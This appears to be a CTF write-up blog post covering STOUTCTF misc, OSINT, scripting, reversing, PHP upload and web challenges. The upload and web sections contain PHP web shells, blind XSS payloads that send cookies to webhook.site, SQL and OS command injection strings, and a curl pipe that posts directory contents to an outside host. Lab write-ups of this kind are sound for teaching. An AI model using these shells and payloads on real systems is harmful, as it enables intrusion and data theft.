楈繳荁蝏杖癣怯蔲詺硳蝕答歲鱡ꈰ鱃蘰筥轵豊譺靑蹱ꍘ穒脶陱荒魅睓𒁖鱵鵑穪ꕎ鱙硂頱硨𒁕桳轆虉稰魙𒅒敭ꉧ艃筋𔕵祪癪ꉱ蝨𠁒搵蕬罴汩葵浥桷摫𓈳轵稴𒅣汕罳硁葪赺癯蕄𒀳𔕙𓉙鴷譒瘷虄桲𓅈笰鱑衕蹮𓉸罨祣怵衴湓衦𓁶𒁭𔕚𓉪ꈶ𖥓此𓅚衡詘𔑺ꌳ豧𓁚靐陴浢紹ꍘ摰𖡔湊荺蝮騵荌𒅶桬ꕑ𓁮聹𓌷𓍤栳蝗魖轆𓁍恤𠁖顣晁杵𔑳腓鬰蝮腏浡鹦襙ꕙ鹰評𓅭眯驌汱笴聂𓀰𓅖贴繪𐘱詷蝅襉眴楈𠁢赥鱬𓅊橚歮𐙧ꍮ饣谰𔑩豮𒁨歺鵅𔑊鱖荊ꍲ怴荶𓁢𖤯𔕏桂穘𒁗睃鵗𔑉蜴𒈴絬ꅳ污𒅉眳𓍎繘魪𓅄鬸浂癗蹙马蜯癱癕癁爽

I Googled to find out what kind of encoding uses Chinese characters and discovered it was Base 65536. I found a cool website to decode it and proceeded with the process: https://www.better-converter.com/Encoders-Decoders/Base65536-Decode

Misc7

After pasting the encoded text, I noticed more encoded characters with a pattern similar to Base64. I immediately decoded it using CyberChef, where the magic features suggested a file type detection. It turned out to be an image, indicating that the additional encoded text was actually within the image.

Misc8

Misc9

Given my experience with pixel-based encoding from multiple CTFs, I decided to try my first method to extract the color codes. I wrote a script to automate the process, allowing me to decode the information efficiently.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
color_codes = [
    "#53544F", "#555443", "#54467B", "#327147", "#6E4A50",
    "#61336F", "#6A4966", "#4C5275", "#776D75", "#6E6967",
    "#52686F", "#313976", "#336A63", "#61397D"
]

def hex_to_chars(hex_code):
    hex_code = hex_code.lstrip('#')
    chars = []
    for i in range(0, len(hex_code), 2):
        hex_pair = hex_code[i:i+2]
        chars.append(chr(int(hex_pair, 16)))
    return ''.join(chars)

decoded_values = [hex_to_chars(code) for code in color_codes]
print(decoded_values)
1
2
3
$ python solver.py
['STO', 'UTC', 'TF{', '2qG', 'nJP', 'a3o', 'jIf', 'LRu', 'wmu', 'nig', 'Rho', '19v', '3jc', 'a9}']
STOUTCTF{2qGnJPa3ojIfLRuwmunigRho19v3jca9}

Polar Bear

Description 1319448579496083489 I’ve been learning a lot about Node.js. I love Node.js! There are so many different projects that can be made with it. Check out the project I made!

Decoding the snowflake of the UW-Stout CTF’s Discord. It is also in Snowflake format. Using the cool tools to see the api of discord with discordlookup: . We can see the UW-Stout CTF was present on the discord lookup.

Proceed to check the application of the given snowflakes: https://github.com/mesalytic/discord-lookup-api

The flag presence was in the description section.

1
2
3
4
5
6
$ curl https://discordlookup.mesalytic.moe/v1/application/1319448579496083489 | jq | head -n 5
{
  "id": "1319448579496083489",
  "name": "Polar Bear",
  "icon": "https://cdn.discordapp.com/avatars/1319448579496083489/e248b2ad07a44051ee4a3704b783f4e0",
  "description": "STOUTCTF{lUP8cYQtG1I2oswnGsaUMgIE3UhEQESh}",

OSINT


Abandoned Airwaves

Description Can you find when sunset will be at the location on the date of December 16th 2024?

Flag format: hour:minute in 24 hour time

abandoned_airwaves.png

OSINT1

Performing a reverse image search on Google, I discovered that the image was associated with a stock photo or had been posted by someone else. This led me to identify the location as the Duga-1 Station.

OSINT2

OSINT3

OSINT4

Duga-1 Station

Abandoned Airwaves pt.2

Check through this site: https://www.timeanddate.com/sun/ukraine/chernobyl

The sunset time was between 51-54 hence the answer was actually 15:52

OSINT5

15:52

Last Known Location

last_known_location.png: OSINT6

Did the Reverse image search. After seeing similar image on the google map I just copy the lat and long on the URL.

OSINT7

OSINT8

25.1098267,121.8454443

PHP File Upload


File Upload Level 1

This line moves the uploaded file to a user-specific directory. Since the code doesn’t check the file type or content, an attacker can upload a PHP script (e.g., shell.php). Once uploaded, we can access and execute the file, resulting in RCE.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
Content-Disposition: form-data; name="file"; filename="s.php"
Content-Type: application/octet-stream

<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
    if(isset($_GET['cmd']))
    {
        system($_GET['cmd']);
    }
?>
</pre>
</body>
<script>document.getElementById("cmd").focus();</script>
</html>

PHP1

URL:
/upload/1db3f1ef4316fe0f2227c63aaeb6ea1a/s.php?cmd=cat+%2Fflag.txt

PHP2

1
STOUTCTF{rxM14VXNjhH0L6KM9VHMzpIVAKzzxHOq}

File Upload Level 2

There’s a check that prevents uploading files with a .php extension (if ($extension === "php")), this doesn’t fully protect against other attack vectors like uploading files with double extensions (e.g., malicious.php.jpg) or files that contain PHP code. In this example I’ll use .phar as extension

Getting into the File that uploaded:

1
2
3
4
Content-Disposition: form-data; name="file"; filename="a.phar"
Content-Type: application/octet-stream

<?=`$_GET[0]`?>
URL:
/upload/badef61be6423b1f2f550038d89c96eb/s6.phar?0=cat%20/flag.txt

PHP3

1
STOUTCTF{aXVwCHhPilsCGBZmtbrcYsilsq1fWbnD}

File Upload Level 3

Similar approach from the PHP2

1
2
3
4
Content-Disposition: form-data; name="file"; filename="s6.phar"
Content-Type: application/octet-stream

<?=`$_GET[0]`?>
URL:
/upload/27d04fd09ea24a9502fbfcccae491cf6/s6.phar?0=cat%20/flag.txt

PHP4

1
STOUTCTF{HUgYrh4ZK7a1Ztk8PQRsE843mPv1GxPn}

File Upload Level 4

The code now checks that the file extension is not php, phtml, or phar: In this challenge, PHP extensions are filtered, but .htaccess files are not. By uploading a .htaccess file, we can configure the server to execute files with custom extensions as PHP. Create an .htaccess file with the following content to map a custom file extension to PHP:

AddType application/x-httpd-php .lol

This configuration tells the server to treat files with the .lol extension as PHP scripts.

PHP5

1
2
3
4
Content-Disposition: form-data; name="file"; filename=".htaccess"
Content-Type: application/octet-stream

AddType application/x-httpd-php .lol

After uploaded, apply another upload for your reverse shell.

1
2
3
4
Content-Disposition: form-data; name="file"; filename="rce.lol"
Content-Type: application/octet-stream

<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?> 

Once the .htaccess and rce.lol files are uploaded, you can execute commands on the server using the rce.lol script by passing the desired command as a query parameter. This method allows you to interact with the server.

URL:
/upload/4f6b5be1f06415ae5879e9e473e539b0/rce.lol?cmd=cat%20/flag.txt

PHP6

1
STOUTCTF{ElEq5VtDJ4ANFkrUqkaUBQveLHai0ju0}

File Upload Level 5

While this restricts file uploads to certain image types, this check can be bypassed. MIME type validation can be spoofed because the MIME type is sent by the client (the browser), and an attacker could modify it to upload a non-image file, like a PHP script. We can craft a file that looks like an image (e.g., image.php) but contains executable PHP code inside. By sending image/png to Content-Type while keeping the filename type as .php we still can execute it just fine

1
2
3
4
Content-Disposition: form-data; name="file"; filename="a.php"
Content-Type: image/png

<?=`$_GET[0]`?>
URL:
/upload/94f604168ed1bbfd7afac8cef30e7a68/a.php?0=cat+/secret.txt

PHP7

PHP8

1
STOUTCTF{W2v1JvVzCBecumPT1LJEn15xvPIN1Hi}

File Upload Level 6

The code uses finfo_file() to check the MIME type of the file, which relies on reading the file’s magic bytes to identify the file’s content type:

The MIME types are then validated against a whitelist of acceptable image types image/jpeg, image/png, image/gif

We can craft a malicious file that looks like an image based on its magic bytes but is actually a PHP file.

1
2
3
4
5
Content-Disposition: form-data; name="file"; filename="a.php"
Content-Type: application/octet-stream

//MAGIC BYTES OF IMAGE//
<?=`$_GET[0]`?>

This could upload a file that starts with valid image magic bytes (e.g., JPEG magic bytes 0xFF 0xD8), but contains PHP code afterwards. This would pass the MIME type check because it starts with valid image magic bytes, yet still contains PHP code that could be executed if the file is accessed.

URL:
/upload/3214a2de76e797138193b18b365cb558/file.php?0=cat%20/flag.txt

PHP9

1
STOUTCTF {wqVbael0XOLFkQT2lgLHAkPrnUFxtw1p}

Scripting


This Blows

Description Looks like my code has some bugs. I was able to get it encoded but now I can’t get back to the flag.

Encoded.txt
NDMxODcyZWNkYjQzNDM2YWVhNzNmNTgzZGE4NWExNTk4ZTJjYWQ5ZDk1NDUwOWQ3M2RlNjE4ZWM2ZjNlYjlmNjUxNjgyZWFlYjc4N2UyODhkMjE4ZGI4NTlhNGFkYWE1
i.txt
MzBCQzRGQUE2OUNGRjEw
k.txt:
QTBGRkRFMTI=

Reading through this line on the given Decode.py see the encoded uses Blowfish hence we can decode it by scripting or directly use cyberchef for convenience. The i.txt and k.txt must be convert from base64 first the put the Hex value on the details. c = Blowfish.new(k, Blowfish.MODE_CBC, i)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from Crypto.Cipher import Blowfish
from Crypto.Util.Padding import unpad
import binascii

key = b'\xA0\xFF\xDE\x12' #FROM BASE64 TO HEX TO BYTES
iv = b'\x30\xBC\x4F\xAA\x69\xCF\xF1\x00' #FROM BASE64 TO HEX TO BYTES
encoded_hex = "431872ecdb43436aea73f583da85a1598e2cad9d954509d73de618ec6f3eb9f651682eaeb787e288d218db859a4adaa5" #FROM BASE64

encoded = binascii.unhexlify(encoded_hex)

cipher = Blowfish.new(key, Blowfish.MODE_CBC, iv)

cdec = cipher.decrypt(encoded)

try:
    flag = unpad(cdec, Blowfish.block_size).decode('utf-8')
except ValueError:
    flag = cdec

print(flag)

Alternative using cyberchef:

Script1

1
2
$ python decode.py
STOUTCTF{afamzcEX6vbHeQNPLYWSKFUBCQzr5B6f}

Who Said 30 Times?

Description What strange encoding. Can you decipher it to get the flag?

1
2
3
4
5
6
$ cat Who_Said_30.dat
00000000  56 6d 30 77 64 32 51 79 55 58 6c 56 57 47 78 57  |Vm0wd2QyUXlVWGxW|
00000010  56 30 64 34 56 31 59 77 5a 44 52 57 4d 56 6c 33  |V0d4V1YwZDRWMVl3|
00000020  57 6b 52 53 56 30 31 57 62 44 4e 58 61 31 4a 54  |WkRSV01WbDNXa1JT|
00000030  56 6a 41 78 56 32 4a 45 54 6c 68 68 4d 55 70 55  |VjAxV2JETlhhMUpU|
--SNIP--

We want to text only the base64 encoded. can use this command:

1
$ strings Who_Said_30.dat | grep -oP(?<=\|)[^|]+(?=\|)’ | base64 -d > text.txt

Then decode base64 many times until get the flag using base64 -d.

1
2
$ cat text.txt | base64 -d| base64 -d| base64 -d| base64 -d| base64 -d| base64 -d| base64 -d| base64 -d| base64 -d| base64 -d| base64 -d| base64 -d| base64 -d| base64 -d| base64 -d| base64 -d| base64 -d| base64 -d| base64 -d| base64 -d| base64 -d| base64 -d| base64 -d| base64 -d| base64 -d| base64 -d| base64 -d| base64 -d| base64 -d
STOUTCTF{djfRQP4yBWjbcnEEixBHvUvta8iZd5Fm}

Cost of Gas

Description The cost of gas is insane! Can you believe node traversal is so expensive? I wish I had some sort of map or matrix describing the cheapest cost to any node from any node… NodeA -> NodeC 32324 NodeB -> NodeA 26786 NodeC -> NodeB 77458 NodeC -> NodeD 19905 NodeC -> NodeG 19455 NodeD -> NodeA 64678 NodeD -> NodeE 57878 NodeE -> NodeF 29999 NodeE -> NodeA 82356 NodeF -> NodeC 77777 NodeF -> NodeA 33333 NodeF -> NodeD 88888 NodeF -> NodeG 88888 NodeG -> NodeA 1 Example submission: A -> B 1 B -> A 1 Resulting matrix: A B A 0 1 B 1 0 THIS IS WHAT YOUR FLAG SHOULD LOOK LIKE: STOUTCTF{0110} • No spaces • One line • No letters

Given a list of node-to-node travel costs and asked to create a matrix that shows the cheapest cost between each pair of nodes. The goal is to process the provided distances and find the minimum cost for each pair. For example, if traveling from NodeA to NodeB costs 1 and from NodeB to NodeA costs 1, the matrix will show these values. Creating a script must be done to calculates the shortest travel costs between nodes using the Floyd-Warshall algorithm. First, it initializes a distance matrix with “infinity” to represent unconnected paths, then sets the diagonal to 0, as the cost to travel from a node to itself is zero. Then populates the matrix with the provided edge costs between nodes. After that, the algorithm iterates through each pair of nodes, updating the distance matrix to reflect the shortest paths by considering each intermediate node. Finally, converts the matrix into a continuous string of integers representing the minimum costs between all nodes and prints the result.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import numpy as np

edges = {
    'A': {'C': 32324},
    'B': {'A': 26786},
    'C': {'B': 77458, 'D': 19905, 'G': 19455},
    'D': {'A': 64678, 'E': 57878},
    'E': {'A': 82356, 'F': 29999},
    'F': {'C': 77777, 'A': 33333, 'D': 88888, 'G': 88888},
    'G': {'A': 1}
}

nodes = list(edges.keys())

n = len(nodes)
distance_matrix = np.full((n, n), float('inf'))  # Start with "infinity"

for i in range(n):
    distance_matrix[i][i] = 0

for src in edges:
    for dest in edges[src]:
        distance_matrix[nodes.index(src)][nodes.index(dest)] = edges[src][dest]

for k in range(n):
    for i in range(n):
        for j in range(n):
            if distance_matrix[i][j] > distance_matrix[i][k] + distance_matrix[k][j]:
                distance_matrix[i][j] = distance_matrix[i][k] + distance_matrix[k][j]

output = ""
for i in range(n):
    for j in range(n):
        output += str(int(distance_matrix[i][j]))

result = f"STOUTCTF}"
print(result)
1
STOUTCTF{0109782323245222911010714010651779267860591107901513689316689278565194567745801990577783107782194556467817446097002057878878771164576333217311495656115561029999115111333331431156565785562143440085112110978332325522301101081401070}

Strawberry Perl Forever

Description “When I’m in Windows, I use strawberry Perl” – Larry Wall

Hash.txt
Generated at 21:55-22:00 CST on 12/17/24
SHA2 - 256 64 rounds
 
00ac7414402727fdf04c16b5dd7eb54533f459ff1943905e3e3143388e9460da

Given the original perl code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#!/usr/bin/perl
use strict;
use warnings;

# Welcome message
print "Generating a super random CTF flag";

# Get the current time as a seed
my $seed = time;

# Seed the random number generator
srand($seed);

# Define a function to generate a super dupper advanced and secure random string
sub random_string {
    my ($length) = @_;
    my @chars = ('a'..'z', 'A'..'Z', '0'..'9');
    my $random_string = '';

    for (1..$length) {
        $random_string .= $chars[int(rand(@chars))];
    }

    return $random_string;
}

# Generate the flag
my $flag = "STOUTCTF{" . random_string(16) . "}";

# Print the generated flag
print "Generated Flag: $flag\n";

we can see the hash.txt said Generated at 21:55-22:00 CST on 12/17/24. we can use the time to generate the seed with that time Script2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#!/usr/bin/perl
use strict;
use warnings;
use Digest::SHA qw(sha256_hex);

my $target_hash = "00ac7414402727fdf04c16b5dd7eb54533f459ff1943905e3e3143388e9460da";

my $start_time = 1734515700; # 21:55 CST
my $end_time = 1734516000;   # 22:00 CST

sub random_string {
    my ($seed, $length) = @_;
    srand($seed);
    my @chars = ('a'..'z', 'A'..'Z', '0'..'9');
    my $random_string = '';
    for (1..$length) {
        $random_string .= $chars[int(rand(@chars))];
    }
    return $random_string;
}

for my $seed ($start_time..$end_time) {
    my $random_str = random_string($seed, 16);
    my $flag = "STOUTCTF{" . $random_str . "}";

    my $hash = $flag;
    for (0..65) {
        $hash = sha256_hex($hash);
        if ($hash eq $target_hash) {
            print "$flag\n";
            last;
        }
    }
}
1
STOUTCTF{aRWkZtmhfuFE0JlB}

Keyboard hackers

Description My hacker friend gave me this file saying that he hacked my keyboard. I have no idea what he means. Can you make sense of this file?

This packet capture (PCAP) shows the communication between a USB Human Interface Device (HID) and the host system. The captured data includes the exchange of HID reports, which are the primary method for transmitting input data such as keystrokes or mouse movements between the device and the computer. Example the image shown below.

Script3

Script4

Filter: usb.src==”1.1.1”

Script5

HID devices communicate by sending packets that contain data in specific report formats. These packets are transmitted using periodic transfer types and are typically acknowledged by the host system. Hence we can put it in column to see the HID Data. Right Click on HID Data > Apply as Column

Script6

Now we can see the HID Data on the column. Save as CSV .Name to anything you like example ‘key’

Script7

Script8

Script9

Copy the HID Data only and save it in .txtFor the script. I’m using the script getting from this: https://blog.stayontarget.org/2019/03/decoding-mixed-case-usb-keystrokes-from.html

Script10

1
2
$ python solver.py hidcap.txt
hello hope you can get this flag:) stoutctf{by3yfbitp3vs1ecx6ery}good luck

Web


Nuclear Codes

Web1

Checking the request using burp suite and checking the direction of the web we can see codec.php was being loaded without we see anything. On the Response of the codec.php in the section of launch-code. There’s flag. or we can use Curl to obtain it. or alternative way was fuzzing.

Web2

1
2
$ curl https://ctf.oplabs.us/web/NuclearCodes/codes.php | grep "STOUT"
    <p class="launch-code">Launch Code: <span>STOUTCTF{vkU8yXCSxZtY9YrhMzyaUSoWVHapVF84}</span></p>

PharmaNet

This time it’s a common SQL injection. Starting with a basic payload of sql injection. (Can refer my favorite cheat sheet: https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL Injection/README.md )

SQL injection happens because of improper handling of user inputs within SQL queries. It occurs when user-supplied data is directly inserted into SQL statements without proper validation or sanitization, allowing attackers to manipulate the query structure.

Example Before:

1
SELECT * FROM users WHERE username = 'admin' AND password = 'password';

Example After:

1
SELECT * FROM users WHERE username = 'admin' or '1'='1' AND password = 'password';

Web3

Payload: admin’ or ‘1’=’1

Upon succeded, the flag will be pop.

Web4

1
STOUTCTF{znjxwDeeXo1jNIz6JLyK77qOTyD2OVOh}

Mr Bean’s Little Beans

Fuzzing all the site using dirb or gobuster depends on the convenience. In this example im using dirb and found the admin directory that wasn’t shown on the hosted site.

Web5

URL:
web/MrBean/admin

Web6

1
2
$ curl https://ctf.oplabs.us/web/MrBean/admin/ | grep "STOUT"
  <p>STOUTCTF{W9du9uMYcyjoNQKeJpKr6c6m1BXAxbXC}</p>

Crossing Seven Sea

Web7

Blind XSS try out one by one payload using this references: https://github.com/lauritzh/blind-xss-payloads and found one payload that works. which is:

1
<input onfocus='fetch("https://example.burpcollaborator.net/imput-post",{method:"POST",body:btoa(document.body.innerHTML),mode:"no-cors"})' autofocus>

Now we can use it in the messages section and obtain the cookie with the payload:

1
<input onfocus='fetch("https://webhook.site/107d6ce8-fc36-4c6e-bf5b-585461b6f297?c="+btoa(document.cookie),{method:"POST",mode:"no-cors"})' autofocus>

(can use webhook.site to obtain the hook or ngrok depends whatever you like)

Web8

Decode from base64:

Web9

1
STOUTCTF{aCnxNhCcP5P7sXPjEIfxFgnrHnn4V57t}

Whois lvl1

Theres so multiple injection can be used example | . Here other example list what can be used:

Form-selectPayload
nslookup; cat flag.txt
nslookup& cat flag.txt
nslookup&& cat flag.txt
nslookup| cat flag.txt
nslookupcat flag.txt
ping0.0.0.0 && cat flag.txt
ping0.0.0.0; cat flag.txt
ping0.0.0.0 & cat flag.txt
ping0.0.0.0 | cat flag.txt
dig; cat flag.txt
dig& cat flag.txt
dig&& cat flag.txt
dig| cat flag.txt
digcat flag.txt

Why did it happen? The failure to validate inputs before using them in functions that invoke OS-level commands, such as exec(), system(), or shell scripting constructs. As a result, we can exploit the application by appending the os command.

Example 1:

Web10

Example 2:

Web11

Example 3:

Web12

In this example i will use:

1
0.0.0.0; cat flag.txt

Web13

1
STOUTCTF{6GmWewZFLZqlsEmSxeHehXCMajEEI9IX}

Whois lvl2

This time im using | to get the flag.

1
0.0.0.0 | cat flag.txt

Web14

1
STOUTCTF{tCoW5voLpV44AsdzOigETrE3IZMHVBV6}

Whois lvl3

Using ‘`’ and the command on the dig section.

Payload:

1
`cat flag.txt`

Web15

1
STOUTCTF{18kUctpnd5aze563mm2uMBbWL7CT1A2e}

Whois lvl4

Since other functions like ping, dnslookup, and dig couldn’t be used, I decided to attempt a blind OS injection on the backup section using the curl function. By doing this, I was able to observe the response on the webhook site. This confirmed that the | (pipe) operator was functional. I then proceeded to send a POST request to read everything inside the current directory.

On Backup Payload:

1
| cat * | curl -X POST -d @- https://webhook.site/107d6ce8-fc36-4c6e-bf5b-585461b6f297

Check the webhook site, we get to see the flag has been bounce back to us

Web16

Close up look:

Web17

Web18

1
STOUTCTF{aivDe09dO5vVX40AHSKaKi7kXC5YfXoT}

Rev


Bossman

While trying to analyze the program in DNSpy, I couldn’t find anything useful. I then booted up Cutter and encountered some Base64 encoded data. Since I couldn’t see the program properly in either DNSpy or ILSpy, I decided to explore alternative tools.

Rev1

After trying dotPeek, a tool designed for .NET Framework programs, I was able to view the source code clearly. This allowed me to decode the data and eventually obtain the flag.

Rev2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import base64

def get_time():
    ch_array1 = ['U', '1', 'R', 'P']
    ch_array2 = ['V', 'V', 'R', 'D']
    ch_array3 = ['V', 'E', 'Z', '7']
    char_array1 = "VGZSVDBsWW9nUjRWa3ZDaEdab2tS"
    char_array2 = "MkFmR2ZUQ0p2SEh9"

    string_builder = []

    string_builder.extend(ch_array1)
    string_builder.extend(ch_array2)
    string_builder.extend(ch_array3)

    base64_encoded_char_array1 = base64.b64encode(char_array1.encode('utf-8')).decode('utf-8')
    string_builder.append(base64_encoded_char_array1[:len(char_array1)])

    string_builder.append(char_array2)

    return ''.join(string_builder)

result = get_time()
print(result)
1
2
3
4
5
$ python solver.py
U1RPVVRDVEZ7VkdaU1ZEQnNXVzluVWpSV2EzWkRhMkFmR2ZUQ0p2SEh9

$ python solver.py | base64 -d
STOUTCTF{VGZSVDBsWW9nUjRWa3ZDa2AfGfTCJvHH}
This post is licensed under CC BY 4.0 by the author.